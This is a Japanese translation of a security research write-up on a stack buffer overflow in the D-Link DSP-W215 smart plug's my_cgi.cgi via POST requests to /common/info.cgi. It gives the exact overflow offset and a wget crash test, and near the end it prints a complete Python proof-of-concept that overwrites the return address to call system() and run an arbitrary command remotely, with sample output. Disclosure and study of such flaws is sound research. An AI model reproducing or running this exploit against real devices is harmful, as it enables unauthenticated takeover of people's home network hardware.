D-Link DSP-W215スマートプラグをハックします。 また

画像
最近、D-LinkはDSP-W215用のファームウェア v1.02をリリースしました。このバージョンでは、 my_cgi.cgiのバッファオーバーフローに関するHNAPバグが修正されました。 彼らはすぐにサイトからファームウェアを削除しましたが、「モバイルアプリケーション経由でファームウェアを更新できます」、ミュンヘンへのフライトの前にそれをダウンロードすることができました.8時間のフライトは、新しいファームウェアバージョンの定性分析に十分な時間を与えてくれました。

残念ながら、このデバイスの問題はHNAPのバグだけではありません。 lighttpd設定ファイルは、my_cgi.cgiがHNAPリクエストだけでなく、いくつかのページの処理に使用されることを示しています。
alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi", "/HNAP1" => "/www/my_cgi.cgi", "/router_info.xml" => "/www/my_cgi.cgi", "/post_login.xml" => "/www/my_cgi.cgi", "/get_shareport_info" => "/www/my_cgi.cgi", "/secmark1524.cgi" => "/www/my_cgi.cgi", "/common/info.cgi" => "/www/my_cgi.cgi" ) 


my_cgi.cgiのメイン関数には2つのコードブランチがあります。1つはHNAP要求を処理するためのもので、もう1つは他のすべてのもののためのものです。
画像

HTTPリクエストがHNAPでなかった場合(たとえば、/ common / info.cgi)、それがPOSTリクエストであった場合、この場合、my_cgi.cgiはContent-Lengthを含むいくつかのHTTPヘッダーを受け取ります。
画像

Content-Lengthがゼロよりも大きい場合、get_input_entries関数が呼び出され、POSTパラメーターの読み取りと解析を行います。
画像

get_input_entries関数は次の2つの引数を取ります。entries構造へのポインターとPOSTデータのサイズ(Content-Length):
 struct entries { char name[36]; // POST paramter name char value[1025]; // POST parameter value }; // Returns the number of POST parameters that were processed int get_input_entries(struct *entries post_entries, int content_length); 


これはやや疑わしいです。 パラメーターは、HTTP要求で指定されたContent-Lengthヘッダーから直接get_input_entriesに渡され、構造体ポインターはメイン関数のスタック上のローカル変数を指します。
 int content_length, num_entries; struct entries my_entries[450]; // total size: 477450 bytes content_length = strtol(getenv("CONTENT_LENGTH"), 10); memset(my_entries, 0, sizeof(my_entries)); num_entries = get_input_entries(&my_entries, content_length); 


もちろん、get_input_entriesにはfgetc (HNAPの脆弱性を引き起こしたのとほぼ同じ)のループが含まれており、POST要求(名前と値)を解析して「エントリ」構造に保存します。
画像
Fgetcループ

画像
forループ内のfgetc(stdin)

画像
fgetcによって読み取られた値は、「エントリ」構造の名前/値に保存されます

なぜなら この場合、entries構造はmainのスタック変数であり、POST値が長すぎると、get_input_entriesで、したがってmainでスタックがオーバーフローします。

mainに戻る前に落下を避けるために(これについては次の投稿で詳しく説明します)、get_input_entries関数をできるだけ早く終了する必要があります。 これを行う最も簡単な方法は、唯一のPOSTパラメーター「storage_path」を渡すことです。 このパラメーターが発生すると、get_input_entriesのコードはスキップされます。
画像

メインスタックを見ると、「エントリ」構造の先頭がスタックのリターンアドレスから0×74944バイト離れていることがわかります。
画像

POST要求から名前に36バイトが割り当てられるという事実により、477472(0×74944-36)バイトのPOST値は、スタック上のすべてを格納された戻りアドレスにオーバーフローさせます。
 # Overwrite the saved return address with 0x41414141 perl -e 'print "storage_path="; print "B"x477472; print "A"x4' > overflow.txt wget --post-file=overflow.txt http://192.168.0.60/common/info.cgi 

画像
$ raは値0×41414141で上書きされました

ここで$ raを制御します。つまり、任意のコマンドを実行するために、HNAPオーバーフローで使用したのと同じsystem()呼び出しに戻ることができます。
画像
0x00405CECのsystem()を呼び出します

PoCは次のとおりです。
 #!/usr/bin/env python import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "storage_path=" # POST parameter name buf += "D" * (0x74944-36) # Stack filler buf += "\x00\x40\x5C\xEC" # Overwrite $ra buf += "E" * 0x28 # Command to execute must be at $sp+0x28 buf += command # Command to execute buf += "\x00" # NULL terminate the command req = urllib2.Request(url, buf) print urllib2.urlopen(req).read() 


これは、最新のファームウェアバージョンでうまく機能します。
 ./exploit.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 17 15:42 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxr-x 3 1000 1000 4096 May 20 17:10 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 8 1000 1000 4096 May 17 15:15 www 

Source: https://habr.com/ru/post/J223973/


All Articles